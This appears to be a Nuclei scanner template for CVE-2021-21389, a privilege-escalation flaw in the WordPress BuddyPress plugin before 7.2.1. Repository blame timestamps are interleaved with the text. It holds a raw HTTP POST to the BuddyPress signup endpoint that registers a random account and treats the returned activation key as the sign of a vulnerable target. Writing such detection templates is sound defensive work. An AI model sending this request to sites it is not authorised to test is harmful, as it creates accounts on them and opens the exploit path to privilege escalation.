nuclei-templates/http/cves/2021/CVE-2021-21389.yaml

62 lines
1.7 KiB
YAML
Raw Normal View History

2021-06-21 05:33:14 +00:00
id: CVE-2021-21389
info:
name: BuddyPress REST API <7.2.1 - Privilege Escalation/Remote Code Execution
2021-06-21 05:33:14 +00:00
author: lotusdll
severity: high
description: WordPress BuddyPress before version 7.2.1 is susceptible to a privilege escalation vulnerability that can be leveraged to perform remote code execution.
reference:
2021-06-21 05:33:14 +00:00
- https://github.com/HoangKien1020/CVE-2021-21389
2021-08-01 06:16:33 +00:00
- https://buddypress.org/2021/03/buddypress-7-2-1-security-release/
- https://codex.buddypress.org/releases/version-7-2-1/
- https://github.com/buddypress/BuddyPress/security/advisories/GHSA-m6j4-8r7p-wpp3
- https://nvd.nist.gov/vuln/detail/CVE-2021-21389
remediation: This issue has been remediated in WordPress BuddyPress 7.2.1.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-21389
cwe-id: CWE-863
cpe: cpe:2.3:a:buddypress:buddypress:*:*:*:*:*:*:*:*
epss-score: 0.80629
2022-06-28 02:54:18 +00:00
tags: cve,cve2021,wordpress,wp-plugin,rce,wp,buddypress
metadata:
max-request: 1
2021-06-21 05:33:14 +00:00
http:
2021-06-23 20:54:58 +00:00
- raw:
- |
POST /wp-json/buddypress/v1/signup HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=UTF-8
{
"user_login":"{{randstr}}",
"password":"{{randstr}}",
"user_name":"{{randstr}}",
"user_email":"{{randstr}}@interact.sh"
2021-06-23 20:54:58 +00:00
}
2021-06-21 05:33:14 +00:00
matchers-condition: and
matchers:
2021-06-23 20:54:58 +00:00
- type: word
2022-06-28 02:54:18 +00:00
part: body
2021-06-23 20:54:58 +00:00
words:
- "user_login"
- "registered"
- "activation_key"
- "user_email"
condition: and
2022-06-28 02:54:18 +00:00
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# Enhanced by mp on 2022/06/27